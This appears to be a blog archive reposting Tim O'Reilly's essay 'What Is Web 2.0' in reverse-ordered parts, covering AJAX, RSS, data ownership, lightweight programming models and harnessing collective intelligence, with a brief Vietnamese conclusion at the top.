Kết luận

Thật sự, Web 2.0 không phải là cái gì đó hoàn toàn mới mà là sự phát triển từ web hiện tại. Nó vẫn là web như chúng ta dùng lâu nay, chỉ có điều giờ đây chúng ta làm việc với web theo cách khác. Các website không còn là những "ốc đảo" mà trở thành những nguồn thông tin và chức năng, hình thành nên môi trường điện toán phục vụ các ứng dụng web và người dùng.

Không phải là viễn cảnh, Web 2.0 đã hiện hữu quanh chúng ta với hàng loạt website thế hệ mới. Xu hướng chuyển đổi sang Web 2.0 đang diễn ra mạnh mẽ và là xu thế tất yếu.

What Is Web 2.0 - 5

2007-10-24T13:17:00.000-07:00

7. Rich User Experiences

As early as Pei Wei's Viola browser in 1992, the web was being used to deliver "applets" and other kinds of active content within the web browser. Java's introduction in 1995 was framed around the delivery of such applets. JavaScript and then DHTML were introduced as lightweight ways to provide client side programmability and richer user experiences. Several years ago, Macromedia coined the term "Rich Internet Applications" (which has also been picked up by open source Flash competitor Laszlo Systems) to highlight the capabilities of Flash to deliver not just multimedia content but also GUI-style application experiences.

However, the potential of the web to deliver full scale applications didn't hit the mainstream till Google introduced Gmail, quickly followed by Google Maps, web based applications with rich user interfaces and PC-equivalent interactivity. The collection of technologies used by Google was christened AJAX, in a seminal essay by Jesse James Garrett of web design firm Adaptive Path. He wrote:

"Ajax isn't a technology. It's really several technologies, each flourishing in its own right, coming together in powerful new ways. Ajax incorporates:

standards-based presentation using XHTML and CSS;
dynamic display and interaction using the Document Object Model;
data interchange and manipulation using XML and XSLT;
asynchronous data retrieval using XMLHttpRequest;
and JavaScript binding everything together."

Web 2.0 Design Patterns

In his book, A Pattern Language, Christopher Alexander prescribes a format for the concise description of the solution to architectural problems. He writes: "Each pattern describes a problem that occurs over and over again in our environment, and then describes the core of the solution to that problem, in such a way that you can use this solution a million times over, without ever doing it the same way twice."

The Long Tail
Small sites make up the bulk of the internet's content; narrow niches make up the bulk of internet's the possible applications. Therefore: Leverage customer-self service and algorithmic data management to reach out to the entire web, to the edges and not just the center, to the long tail and not just the head.
Data is the Next Intel Inside
Applications are increasingly data-driven. Therefore: For competitive advantage, seek to own a unique, hard-to-recreate source of data.
Users Add Value
The key to competitive advantage in internet applications is the extent to which users add their own data to that which you provide. Therefore: Don't restrict your "architecture of participation" to software development. Involve your users both implicitly and explicitly in adding value to your application.
Network Effects by Default
Only a small percentage of users will go to the trouble of adding value to your application. Therefore: Set inclusive defaults for aggregating user data as a side-effect of their use of the application.
Some Rights Reserved. Intellectual property protection limits re-use and prevents experimentation. Therefore: When benefits come from collective adoption, not private restriction, make sure that barriers to adoption are low. Follow existing standards, and use licenses with as few restrictions as possible. Design for "hackability" and "remixability."
The Perpetual Beta
When devices and programs are connected to the internet, applications are no longer software artifacts, they are ongoing services. Therefore: Don't package up new features into monolithic releases, but instead add them on a regular basis as part of the normal user experience. Engage your users as real-time testers, and instrument the service so that you know how people use the new features.
Cooperate, Don't Control
Web 2.0 applications are built of a network of cooperating data services. Therefore: Offer web services interfaces and content syndication, and re-use the data services of others. Support lightweight programming models that allow for loosely-coupled systems.
Software Above the Level of a Single Device
The PC is no longer the only access device for internet applications, and applications that are limited to a single device are less valuable than those that are connected. Therefore: Design your application from the get-go to integrate services across handheld devices, PCs, and internet servers.

AJAX is also a key component of Web 2.0 applications such as Flickr, now part of Yahoo!, 37signals' applications basecamp and backpack, as well as other Google applications such as Gmail and Orkut. We're entering an unprecedented period of user interface innovation, as web developers are finally able to build web applications as rich as local PC-based applications.

Interestingly, many of the capabilities now being explored have been around for many years. In the late '90s, both Microsoft and Netscape had a vision of the kind of capabilities that are now finally being realized, but their battle over the standards to be used made cross-browser applications difficult. It was only when Microsoft definitively won the browser wars, and there was a single de-facto browser standard to write to, that this kind of application became possible. And while Firefox has reintroduced competition to the browser market, at least so far we haven't seen the destructive competition over web standards that held back progress in the '90s.

We expect to see many new web applications over the next few years, both truly novel applications, and rich web reimplementations of PC applications. Every platform change to date has also created opportunities for a leadership change in the dominant applications of the previous platform.

Gmail has already provided some interesting innovations in email, combining the strengths of the web (accessible from anywhere, deep database competencies, searchability) with user interfaces that approach PC interfaces in usability. Meanwhile, other mail clients on the PC platform are nibbling away at the problem from the other end, adding IM and presence capabilities. How far are we from an integrated communications client combining the best of email, IM, and the cell phone, using VoIP to add voice capabilities to the rich capabilities of web applications? The race is on.

It's easy to see how Web 2.0 will also remake the address book. A Web 2.0-style address book would treat the local address book on the PC or phone merely as a cache of the contacts you've explicitly asked the system to remember. Meanwhile, a web-based synchronization agent, Gmail-style, would remember every message sent or received, every email address and every phone number used, and build social networking heuristics to decide which ones to offer up as alternatives when an answer wasn't found in the local cache. Lacking an answer there, the system would query the broader social network.

A Web 2.0 word processor would support wiki-style collaborative editing, not just standalone documents. But it would also support the rich formatting we've come to expect in PC-based word processors. Writely is a good example of such an application, although it hasn't yet gained wide traction.

Nor will the Web 2.0 revolution be limited to PC applications. Salesforce.com demonstrates how the web can be used to deliver software as a service, in enterprise scale applications such as CRM.

The competitive opportunity for new entrants is to fully embrace the potential of Web 2.0. Companies that succeed will create applications that learn from their users, using an architecture of participation to build a commanding advantage not just in the software interface, but in the richness of the shared data.

Core Competencies of Web 2.0 Companies

In exploring the seven principles above, we've highlighted some of the principal features of Web 2.0. Each of the examples we've explored demonstrates one or more of those key principles, but may miss others. Let's close, therefore, by summarizing what we believe to be the core competencies of Web 2.0 companies:

Services, not packaged software, with cost-effective scalability
Control over unique, hard-to-recreate data sources that get richer as more people use them
Trusting users as co-developers
Harnessing collective intelligence
Leveraging the long tail through customer self-service
Software above the level of a single device
Lightweight user interfaces, development models, AND business models

The next time a company claims that it's "Web 2.0," test their features against the list above. The more points they score, the more they are worthy of the name. Remember, though, that excellence in one area may be more telling than some small steps in all seven.

What Is Web 2.0 - 4

2007-10-24T13:16:00.001-07:00

4. End of the Software Release Cycle

As noted above in the discussion of Google vs. Netscape, one of the defining characteristics of internet era software is that it is delivered as a service, not as a product. This fact leads to a number of fundamental changes in the business model of such a company:

1. Operations must become a core competency. Google's or Yahoo!'s expertise in product development must be matched by an expertise in daily operations. So fundamental is the shift from software as artifact to software as service that the software will cease to perform unless it is maintained on a daily basis. Google must continuously crawl the web and update its indices, continuously filter out link spam and other attempts to influence its results, continuously and dynamically respond to hundreds of millions of asynchronous user queries, simultaneously matching them with context-appropriate advertisements.

It's no accident that Google's system administration, networking, and load balancing techniques are perhaps even more closely guarded secrets than their search algorithms. Google's success at automating these processes is a key part of their cost advantage over competitors.

It's also no accident that scripting languages such as Perl, Python, PHP, and now Ruby, play such a large role at web 2.0 companies. Perl was famously described by Hassan Schroeder, Sun's first webmaster, as "the duct tape of the internet." Dynamic languages (often called scripting languages and looked down on by the software engineers of the era of software artifacts) are the tool of choice for system and network administrators, as well as application developers building dynamic systems that require constant change.
Users must be treated as co-developers, in a reflection of open source development practices (even if the software in question is unlikely to be released under an open source license.) The open source dictum, "release early and release often" in fact has morphed into an even more radical position, "the perpetual beta," in which the product is developed in the open, with new features slipstreamed in on a monthly, weekly, or even daily basis. It's no accident that services such as Gmail, Google Maps, Flickr, del.icio.us, and the like may be expected to bear a "Beta" logo for years at a time.
Real time monitoring of user behavior to see just which new features are used, and how they are used, thus becomes another required core competency. A web developer at a major online service remarked: "We put up two or three new features on some part of the site every day, and if users don't adopt them, we take them down. If they like them, we roll them out to the entire site."

Cal Henderson, the lead developer of Flickr, recently revealed that they deploy new builds up to every half hour. This is clearly a radically different development model! While not all web applications are developed in as extreme a style as Flickr, almost all web applications have a development cycle that is radically unlike anything from the PC or client-server era. It is for this reason that a recent ZDnet editorial concluded that Microsoft won't be able to beat Google: "Microsoft's business model depends on everyone upgrading their computing environment every two to three years. Google's depends on everyone exploring what's new in their computing environment every day."

While Microsoft has demonstrated enormous ability to learn from and ultimately best its competition, there's no question that this time, the competition will require Microsoft (and by extension, every other existing software company) to become a deeply different kind of company. Native Web 2.0 companies enjoy a natural advantage, as they don't have old patterns (and corresponding business models and revenue sources) to shed.

A Web 2.0 Investment Thesis

Venture capitalist Paul Kedrosky writes: "The key is to find the actionable investments where you disagree with the consensus". It's interesting to see how each Web 2.0 facet involves disagreeing with the consensus: everyone was emphasizing keeping data private, Flickr/Napster/et al. make it public. It's not just disagreeing to be disagreeable (pet food! online!), it's disagreeing where you can build something out of the differences. Flickr builds communities, Napster built breadth of collection.

Another way to look at it is that the successful companies all give up something expensive but considered critical to get something valuable for free that was once expensive. For example, Wikipedia gives up central editorial control in return for speed and breadth. Napster gave up on the idea of "the catalog" (all the songs the vendor was selling) and got breadth. Amazon gave up on the idea of having a physical storefront but got to serve the entire world. Google gave up on the big customers (initially) and got the 80% whose needs weren't being met. There's something very aikido (using your opponent's force against them) in saying "you know, you're right--absolutely anyone in the whole world CAN update this article. And guess what, that's bad news for you."

--Nat Torkington

5. Lightweight Programming Models

Once the idea of web services became au courant, large companies jumped into the fray with a complex web services stack designed to create highly reliable programming environments for distributed applications.

But much as the web succeeded precisely because it overthrew much of hypertext theory, substituting a simple pragmatism for ideal design, RSS has become perhaps the single most widely deployed web service because of its simplicity, while the complex corporate web services stacks have yet to achieve wide deployment.

Similarly, Amazon.com's web services are provided in two forms: one adhering to the formalisms of the SOAP (Simple Object Access Protocol) web services stack, the other simply providing XML data over HTTP, in a lightweight approach sometimes referred to as REST (Representational State Transfer). While high value B2B connections (like those between Amazon and retail partners like ToysRUs) use the SOAP stack, Amazon reports that 95% of the usage is of the lightweight REST service.

This same quest for simplicity can be seen in other "organic" web services. Google's recent release of Google Maps is a case in point. Google Maps' simple AJAX (Javascript and XML) interface was quickly decrypted by hackers, who then proceeded to remix the data into new services.

Mapping-related web services had been available for some time from GIS vendors such as ESRI as well as from MapQuest and Microsoft MapPoint. But Google Maps set the world on fire because of its simplicity. While experimenting with any of the formal vendor-supported web services required a formal contract between the parties, the way Google Maps was implemented left the data for the taking, and hackers soon found ways to creatively re-use that data.

There are several significant lessons here:

Support lightweight programming models that allow for loosely coupled systems. The complexity of the corporate-sponsored web services stack is designed to enable tight coupling. While this is necessary in many cases, many of the most interesting applications can indeed remain loosely coupled, and even fragile. The Web 2.0 mindset is very different from the traditional IT mindset!
Think syndication, not coordination. Simple web services, like RSS and REST-based web services, are about syndicating data outwards, not controlling what happens when it gets to the other end of the connection. This idea is fundamental to the internet itself, a reflection of what is known as the end-to-end principle.
Design for "hackability" and remixability. Systems like the original web, RSS, and AJAX all have this in common: the barriers to re-use are extremely low. Much of the useful software is actually open source, but even when it isn't, there is little in the way of intellectual property protection. The web browser's "View Source" option made it possible for any user to copy any other user's web page; RSS was designed to empower the user to view the content he or she wants, when it's wanted, not at the behest of the information provider; the most successful web services are those that have been easiest to take in new directions unimagined by their creators. The phrase "some rights reserved," which was popularized by the Creative Commons to contrast with the more typical "all rights reserved," is a useful guidepost.

Innovation in Assembly

Lightweight business models are a natural concomitant of lightweight programming and lightweight connections. The Web 2.0 mindset is good at re-use. A new service like housingmaps.com was built simply by snapping together two existing services. Housingmaps.com doesn't have a business model (yet)--but for many small-scale services, Google AdSense (or perhaps Amazon associates fees, or both) provides the snap-in equivalent of a revenue model.

These examples provide an insight into another key web 2.0 principle, which we call "innovation in assembly." When commodity components are abundant, you can create value simply by assembling them in novel or effective ways. Much as the PC revolution provided many opportunities for innovation in assembly of commodity hardware, with companies like Dell making a science out of such assembly, thereby defeating companies whose business model required innovation in product development, we believe that Web 2.0 will provide opportunities for companies to beat the competition by getting better at harnessing and integrating services provided by others.

6. Software Above the Level of a Single Device

One other feature of Web 2.0 that deserves mention is the fact that it's no longer limited to the PC platform. In his parting advice to Microsoft, long time Microsoft developer Dave Stutz pointed out that "Useful software written above the level of the single device will command high margins for a long time to come."

Of course, any web application can be seen as software above the level of a single device. After all, even the simplest web application involves at least two computers: the one hosting the web server and the one hosting the browser. And as we've discussed, the development of the web as platform extends this idea to synthetic applications composed of services provided by multiple computers.

But as with many areas of Web 2.0, where the "2.0-ness" is not something new, but rather a fuller realization of the true potential of the web platform, this phrase gives us a key insight into how to design applications and services for the new platform.

To date, iTunes is the best exemplar of this principle. This application seamlessly reaches from the handheld device to a massive web back-end, with the PC acting as a local cache and control station. There have been many previous attempts to bring web content to portable devices, but the iPod/iTunes combination is one of the first such applications designed from the ground up to span multiple devices. TiVo is another good example.

iTunes and TiVo also demonstrate many of the other core principles of Web 2.0. They are not web applications per se, but they leverage the power of the web platform, making it a seamless, almost invisible part of their infrastructure. Data management is most clearly the heart of their offering. They are services, not packaged applications (although in the case of iTunes, it can be used as a packaged application, managing only the user's local data.) What's more, both TiVo and iTunes show some budding use of collective intelligence, although in each case, their experiments are at war with the IP lobby's. There's only a limited architecture of participation in iTunes, though the recent addition of podcasting changes that equation substantially.

This is one of the areas of Web 2.0 where we expect to see some of the greatest change, as more and more devices are connected to the new platform. What applications become possible when our phones and our cars are not consuming data but reporting it? Real time traffic monitoring, flash mobs, and citizen journalism are only a few of the early warning signs of the capabilities of the new platform.

What Is Web 2.0 - 3

2007-10-24T13:13:00.000-07:00

Blogging and the Wisdom of Crowds

One of the most highly touted features of the Web 2.0 era is the rise of blogging. Personal home pages have been around since the early days of the web, and the personal diary and daily opinion column around much longer than that, so just what is the fuss all about?

At its most basic, a blog is just a personal home page in diary format. But as Rich Skrenta notes, the chronological organization of a blog "seems like a trivial difference, but it drives an entirely different delivery, advertising and value chain."

One of the things that has made a difference is a technology called RSS. RSS is the most significant advance in the fundamental architecture of the web since early hackers realized that CGI could be used to create database-backed websites. RSS allows someone to link not just to a page, but to subscribe to it, with notification every time that page changes. Skrenta calls this "the incremental web." Others call it the "live web".

Now, of course, "dynamic websites" (i.e., database-backed sites with dynamically generated content) replaced static web pages well over ten years ago. What's dynamic about the live web are not just the pages, but the links. A link to a weblog is expected to point to a perennially changing page, with "permalinks" for any individual entry, and notification for each change. An RSS feed is thus a much stronger link than, say a bookmark or a link to a single page.

The Architecture of Participation

Some systems are designed to encourage participation. In his paper, The Cornucopia of the Commons, Dan Bricklin noted that there are three ways to build a large database. The first, demonstrated by Yahoo!, is to pay people to do it. The second, inspired by lessons from the open source community, is to get volunteers to perform the same task. The Open Directory Project, an open source Yahoo competitor, is the result. But Napster demonstrated a third way. Because Napster set its defaults to automatically serve any music that was downloaded, every user automatically helped to build the value of the shared database. This same approach has been followed by all other P2P file sharing services.

One of the key lessons of the Web 2.0 era is this: Users add value. But only a small percentage of users will go to the trouble of adding value to your application via explicit means. Therefore, Web 2.0 companies set inclusive defaults for aggregating user data and building value as a side-effect of ordinary use of the application. As noted above, they build systems that get better the more people use them.

Mitch Kapor once noted that "architecture is politics." Participation is intrinsic to Napster, part of its fundamental architecture.

This architectural insight may also be more central to the success of open source software than the more frequently cited appeal to volunteerism. The architecture of the internet, and the World Wide Web, as well as of open source software projects like Linux, Apache, and Perl, is such that users pursuing their own "selfish" interests build collective value as an automatic byproduct. Each of these projects has a small core, well-defined extension mechanisms, and an approach that lets any well-behaved component be added by anyone, growing the outer layers of what Larry Wall, the creator of Perl, refers to as "the onion." In other words, these technologies demonstrate network effects, simply through the way that they have been designed.

These projects can be seen to have a natural architecture of participation. But as Amazon demonstrates, by consistent effort (as well as economic incentives such as the Associates program), it is possible to overlay such an architecture on a system that would not normally seem to possess it.

RSS also means that the web browser is not the only means of viewing a web page. While some RSS aggregators, such as Bloglines, are web-based, others are desktop clients, and still others allow users of portable devices to subscribe to constantly updated content.

RSS is now being used to push not just notices of new blog entries, but also all kinds of data updates, including stock quotes, weather data, and photo availability. This use is actually a return to one of its roots: RSS was born in 1997 out of the confluence of Dave Winer's "Really Simple Syndication" technology, used to push out blog updates, and Netscape's "Rich Site Summary", which allowed users to create custom Netscape home pages with regularly updated data flows. Netscape lost interest, and the technology was carried forward by blogging pioneer Userland, Winer's company. In the current crop of applications, we see, though, the heritage of both parents.

But RSS is only part of what makes a weblog different from an ordinary web page. Tom Coates remarks on the significance of the permalink:

It may seem like a trivial piece of functionality now, but it was effectively the device that turned weblogs from an ease-of-publishing phenomenon into a conversational mess of overlapping communities. For the first time it became relatively easy to gesture directly at a highly specific post on someone else's site and talk about it. Discussion emerged. Chat emerged. And - as a result - friendships emerged or became more entrenched. The permalink was the first - and most successful - attempt to build bridges between weblogs.

In many ways, the combination of RSS and permalinks adds many of the features of NNTP, the Network News Protocol of the Usenet, onto HTTP, the web protocol. The "blogosphere" can be thought of as a new, peer-to-peer equivalent to Usenet and bulletin-boards, the conversational watering holes of the early internet. Not only can people subscribe to each others' sites, and easily link to individual comments on a page, but also, via a mechanism known as trackbacks, they can see when anyone else links to their pages, and can respond, either with reciprocal links, or by adding comments.

Interestingly, two-way links were the goal of early hypertext systems like Xanadu. Hypertext purists have celebrated trackbacks as a step towards two way links. But note that trackbacks are not properly two-way--rather, they are really (potentially) symmetrical one-way links that create the effect of two way links. The difference may seem subtle, but in practice it is enormous. Social networking systems like Friendster, Orkut, and LinkedIn, which require acknowledgment by the recipient in order to establish a connection, lack the same scalability as the web. As noted by Caterina Fake, co-founder of the Flickr photo sharing service, attention is only coincidentally reciprocal. (Flickr thus allows users to set watch lists--any user can subscribe to any other user's photostream via RSS. The object of attention is notified, but does not have to approve the connection.)

If an essential part of Web 2.0 is harnessing collective intelligence, turning the web into a kind of global brain, the blogosphere is the equivalent of constant mental chatter in the forebrain, the voice we hear in all of our heads. It may not reflect the deep structure of the brain, which is often unconscious, but is instead the equivalent of conscious thought. And as a reflection of conscious thought and attention, the blogosphere has begun to have a powerful effect.

First, because search engines use link structure to help predict useful pages, bloggers, as the most prolific and timely linkers, have a disproportionate role in shaping search engine results. Second, because the blogging community is so highly self-referential, bloggers paying attention to other bloggers magnifies their visibility and power. The "echo chamber" that critics decry is also an amplifier.

If it were merely an amplifier, blogging would be uninteresting. But like Wikipedia, blogging harnesses collective intelligence as a kind of filter. What James Suriowecki calls "the wisdom of crowds" comes into play, and much as PageRank produces better results than analysis of any individual document, the collective attention of the blogosphere selects for value.

While mainstream media may see individual blogs as competitors, what is really unnerving is that the competition is with the blogosphere as a whole. This is not just a competition between sites, but a competition between business models. The world of Web 2.0 is also the world of what Dan Gillmor calls "we, the media," a world in which "the former audience", not a few people in a back room, decides what's important.

3. Data is the Next Intel Inside

Every significant internet application to date has been backed by a specialized database: Google's web crawl, Yahoo!'s directory (and web crawl), Amazon's database of products, eBay's database of products and sellers, MapQuest's map databases, Napster's distributed song database. As Hal Varian remarked in a personal conversation last year, "SQL is the new HTML." Database management is a core competency of Web 2.0 companies, so much so that we have sometimes referred to these applications as "infoware" rather than merely software.

This fact leads to a key question: Who owns the data?

In the internet era, one can already see a number of cases where control over the database has led to market control and outsized financial returns. The monopoly on domain name registry initially granted by government fiat to Network Solutions (later purchased by Verisign) was one of the first great moneymakers of the internet. While we've argued that business advantage via controlling software APIs is much more difficult in the age of the internet, control of key data sources is not, especially if those data sources are expensive to create or amenable to increasing returns via network effects.

Look at the copyright notices at the base of every map served by MapQuest, maps.yahoo.com, maps.msn.com, or maps.google.com, and you'll see the line "Maps copyright NavTeq, TeleAtlas," or with the new satellite imagery services, "Images copyright Digital Globe." These companies made substantial investments in their databases (NavTeq alone reportedly invested $750 million to build their database of street addresses and directions. Digital Globe spent $500 million to launch their own satellite to improve on government-supplied imagery.) NavTeq has gone so far as to imitate Intel's familiar Intel Inside logo: Cars with navigation systems bear the imprint, "NavTeq Onboard." Data is indeed the Intel Inside of these applications, a sole source component in systems whose software infrastructure is largely open source or otherwise commodified.

The now hotly contested web mapping arena demonstrates how a failure to understand the importance of owning an application's core data will eventually undercut its competitive position. MapQuest pioneered the web mapping category in 1995, yet when Yahoo!, and then Microsoft, and most recently Google, decided to enter the market, they were easily able to offer a competing application simply by licensing the same data.

Contrast, however, the position of Amazon.com. Like competitors such as Barnesandnoble.com, its original database came from ISBN registry provider R.R. Bowker. But unlike MapQuest, Amazon relentlessly enhanced the data, adding publisher-supplied data such as cover images, table of contents, index, and sample material. Even more importantly, they harnessed their users to annotate the data, such that after ten years, Amazon, not Bowker, is the primary source for bibliographic data on books, a reference source for scholars and librarians as well as consumers. Amazon also introduced their own proprietary identifier, the ASIN, which corresponds to the ISBN where one is present, and creates an equivalent namespace for products without one. Effectively, Amazon "embraced and extended" their data suppliers.

Imagine if MapQuest had done the same thing, harnessing their users to annotate maps and directions, adding layers of value. It would have been much more difficult for competitors to enter the market just by licensing the base data.

The recent introduction of Google Maps provides a living laboratory for the competition between application vendors and their data suppliers. Google's lightweight programming model has led to the creation of numerous value-added services in the form of mashups that link Google Maps with other internet-accessible data sources. Paul Rademacher's housingmaps.com, which combines Google Maps with Craigslist apartment rental and home purchase data to create an interactive housing search tool, is the pre-eminent example of such a mashup.

At present, these mashups are mostly innovative experiments, done by hackers. But entrepreneurial activity follows close behind. And already, one can see that for at least one class of developer, Google has taken the role of data source away from Navteq and inserted themselves as a favored intermediary. We expect to see battles between data suppliers and application vendors in the next few years, as both realize just how important certain classes of data will become as building blocks for Web 2.0 applications.

The race is on to own certain classes of core data: location, identity, calendaring of public events, product identifiers and namespaces. In many cases, where there is significant cost to create the data, there may be an opportunity for an Intel Inside style play, with a single source for the data. In others, the winner will be the company that first reaches critical mass via user aggregation, and turns that aggregated data into a system service.

For example, in the area of identity, PayPal, Amazon's 1-click, and the millions of users of communications systems, may all be legitimate contenders to build a network-wide identity database. (In this regard, Google's recent attempt to use cell phone numbers as an identifier for Gmail accounts may be a step towards embracing and extending the phone system.) Meanwhile, startups like Sxip are exploring the potential of federated identity, in quest of a kind of "distributed 1-click" that will provide a seamless Web 2.0 identity subsystem. In the area of calendaring, EVDB is an attempt to build the world's largest shared calendar via a wiki-style architecture of participation. While the jury's still out on the success of any particular startup or approach, it's clear that standards and solutions in these areas, effectively turning certain classes of data into reliable subsystems of the "internet operating system", will enable the next generation of applications.

A further point must be noted with regard to data, and that is user concerns about privacy and their rights to their own data. In many of the early web applications, copyright is only loosely enforced. For example, Amazon lays claim to any reviews submitted to the site, but in the absence of enforcement, people may repost the same review elsewhere. However, as companies begin to realize that control over data may be their chief source of competitive advantage, we may see heightened attempts at control.

Much as the rise of proprietary software led to the Free Software movement, we expect the rise of proprietary databases to result in a Free Data movement within the next decade. One can see early signs of this countervailing trend in open data projects such as Wikipedia, the Creative Commons, and in software projects like Greasemonkey, which allow users to take control of how data is displayed on their computer.

What Is Web 2.0 - 2

2007-10-24T13:11:00.000-07:00

DoubleClick vs. Overture and AdSense

Like Google, DoubleClick is a true child of the internet era. It harnesses software as a service, has a core competency in data management, and, as noted above, was a pioneer in web services long before web services even had a name. However, DoubleClick was ultimately limited by its business model. It bought into the '90s notion that the web was about publishing, not participation; that advertisers, not consumers, ought to call the shots; that size mattered, and that the internet was increasingly being dominated by the top websites as measured by MediaMetrix and other web ad scoring companies.

DoubleClick vs. Overture and AdSense

Like Google, DoubleClick is a true child of the internet era. It harnesses software as a service, has a core competency in data management, and, as noted above, was a pioneer in web services long before web services even had a name. However, DoubleClick was ultimately limited by its business model. It bought into the '90s notion that the web was about publishing, not participation; that advertisers, not consumers, ought to call the shots; that size mattered, and that the internet was increasingly being dominated by the top websites as measured by MediaMetrix and other web ad scoring companies.

As a result, DoubleClick proudly cites on its website "over 2000 successful implementations" of its software. Yahoo! Search Marketing (formerly Overture) and Google AdSense, by contrast, already serve hundreds of thousands of advertisers apiece.

Overture and Google's success came from an understanding of what Chris Anderson refers to as "the long tail," the collective power of the small sites that make up the bulk of the web's content. DoubleClick's offerings require a formal sales contract, limiting their market to the few thousand largest websites. Overture and Google figured out how to enable ad placement on virtually any web page. What's more, they eschewed publisher/ad-agency friendly advertising formats such as banner ads and popups in favor of minimally intrusive, context-sensitive, consumer-friendly text advertising.

The Web 2.0 lesson: leverage customer-self service and algorithmic data management to reach out to the entire web, to the edges and not just the center, to the long tail and not just the head.

A Platform Beats an Application Every Time

In each of its past confrontations with rivals, Microsoft has successfully played the platform card, trumping even the most dominant applications. Windows allowed Microsoft to displace Lotus 1-2-3 with Excel, WordPerfect with Word, and Netscape Navigator with Internet Explorer.

This time, though, the clash isn't between a platform and an application, but between two platforms, each with a radically different business model: On the one side, a single software provider, whose massive installed base and tightly integrated operating system and APIs give control over the programming paradigm; on the other, a system without an owner, tied together by a set of protocols, open standards and agreements for cooperation.

Windows represents the pinnacle of proprietary control via software APIs. Netscape tried to wrest control from Microsoft using the same techniques that Microsoft itself had used against other rivals, and failed. But Apache, which held to the open standards of the web, has prospered. The battle is no longer unequal, a platform versus a single application, but platform versus platform, with the question being which platform, and more profoundly, which architecture, and which business model, is better suited to the opportunity ahead.

Windows was a brilliant solution to the problems of the early PC era. It leveled the playing field for application developers, solving a host of problems that had previously bedeviled the industry. But a single monolithic approach, controlled by a single vendor, is no longer a solution, it's a problem. Communications-oriented systems, as the internet-as-platform most certainly is, require interoperability. Unless a vendor can control both ends of every interaction, the possibilities of user lock-in via software APIs are limited.

Any Web 2.0 vendor that seeks to lock in its application gains by controlling the platform will, by definition, no longer be playing to the strengths of the platform.

This is not to say that there are not opportunities for lock-in and competitive advantage, but we believe they are not to be found via control over software APIs and protocols. There is a new game afoot. The companies that succeed in the Web 2.0 era will be those that understand the rules of that game, rather than trying to go back to the rules of the PC software era.

Not surprisingly, other web 2.0 success stories demonstrate this same behavior. eBay enables occasional transactions of only a few dollars between single individuals, acting as an automated intermediary. Napster (though shut down for legal reasons) built its network not by building a centralized song database, but by architecting a system in such a way that every downloader also became a server, and thus grew the network.

Akamai vs. BitTorrent

Like DoubleClick, Akamai is optimized to do business with the head, not the tail, with the center, not the edges. While it serves the benefit of the individuals at the edge of the web by smoothing their access to the high-demand sites at the center, it collects its revenue from those central sites.

BitTorrent, like other pioneers in the P2P movement, takes a radical approach to internet decentralization. Every client is also a server; files are broken up into fragments that can be served from multiple locations, transparently harnessing the network of downloaders to provide both bandwidth and data to other users. The more popular the file, in fact, the faster it can be served, as there are more users providing bandwidth and fragments of the complete file.

BitTorrent thus demonstrates a key Web 2.0 principle: the service automatically gets better the more people use it. While Akamai must add servers to improve service, every BitTorrent consumer brings his own resources to the party. There's an implicit "architecture of participation", a built-in ethic of cooperation, in which the service acts primarily as an intelligent broker, connecting the edges to each other and harnessing the power of the users themselves.

2. Harnessing Collective Intelligence

The central principle behind the success of the giants born in the Web 1.0 era who have survived to lead the Web 2.0 era appears to be this, that they have embraced the power of the web to harness collective intelligence:

Hyperlinking is the foundation of the web. As users add new content, and new sites, it is bound in to the structure of the web by other users discovering the content and linking to it. Much as synapses form in the brain, with associations becoming stronger through repetition or intensity, the web of connections grows organically as an output of the collective activity of all web users.
Yahoo!, the first great internet success story, was born as a catalog, or directory of links, an aggregation of the best work of thousands, then millions of web users. While Yahoo! has since moved into the business of creating many types of content, its role as a portal to the collective work of the net's users remains the core of its value.
Google's breakthrough in search, which quickly made it the undisputed search market leader, was PageRank, a method of using the link structure of the web rather than just the characteristics of documents to provide better search results.
eBay's product is the collective activity of all its users; like the web itself, eBay grows organically in response to user activity, and the company's role is as an enabler of a context in which that user activity can happen. What's more, eBay's competitive advantage comes almost entirely from the critical mass of buyers and sellers, which makes any new entrant offering similar services significantly less attractive.
Amazon sells the same products as competitors such as Barnesandnoble.com, and they receive the same product descriptions, cover images, and editorial content from their vendors. But Amazon has made a science of user engagement. They have an order of magnitude more user reviews, invitations to participate in varied ways on virtually every page--and even more importantly, they use user activity to produce better search results. While a Barnesandnoble.com search is likely to lead with the company's own products, or sponsored results, Amazon always leads with "most popular", a real-time computation based not only on sales but other factors that Amazon insiders call the "flow" around products. With an order of magnitude more user participation, it's no surprise that Amazon's sales also outpace competitors.

Now, innovative companies that pick up on this insight and perhaps extend it even further, are making their mark on the web:

Wikipedia, an online encyclopedia based on the unlikely notion that an entry can be added by any web user, and edited by any other, is a radical experiment in trust, applying Eric Raymond's dictum (originally coined in the context of open source software) that "with enough eyeballs, all bugs are shallow," to content creation. Wikipedia is already in the top 100 websites, and many think it will be in the top ten before long. This is a profound change in the dynamics of content creation!
Sites like del.icio.us and Flickr, two companies that have received a great deal of attention of late, have pioneered a concept that some people call "folksonomy" (in contrast to taxonomy), a style of collaborative categorization of sites using freely chosen keywords, often referred to as tags. Tagging allows for the kind of multiple, overlapping associations that the brain itself uses, rather than rigid categories. In the canonical example, a Flickr photo of a puppy might be tagged both "puppy" and "cute"--allowing for retrieval along natural axes generated user activity.
Collaborative spam filtering products like Cloudmark aggregate the individual decisions of email users about what is and is not spam, outperforming systems that rely on analysis of the messages themselves.
It is a truism that the greatest internet success stories don't advertise their products. Their adoption is driven by "viral marketing"--that is, recommendations propagating directly from one user to another. You can almost make the case that if a site or product relies on advertising to get the word out, it isn't Web 2.0.
Even much of the infrastructure of the web--including the Linux, Apache, MySQL, and Perl, PHP, or Python code involved in most web servers--relies on the peer-production methods of open source, in themselves an instance of collective, net-enabled intelligence. There are more than 100,000 open source software projects listed on SourceForge.net. Anyone can add a project, anyone can download and use the code, and new projects migrate from the edges to the center as a result of users putting them to work, an organic software adoption process relying almost entirely on viral marketing.

What Is Web 2.0 - 1

2007-10-24T13:08:00.000-07:00

Design Patterns and Business Models for the Next Generation of Software

The bursting of the dot-com bubble in the fall of 2001 marked a turning point for the web. Many people concluded that the web was overhyped, when in fact bubbles and consequent shakeouts appear to be a common feature of all technological revolutions. Shakeouts typically mark the point at which an ascendant technology is ready to take its place at center stage. The pretenders are given the bum's rush, the real success stories show their strength, and there begins to be an understanding of what separates one from the other.

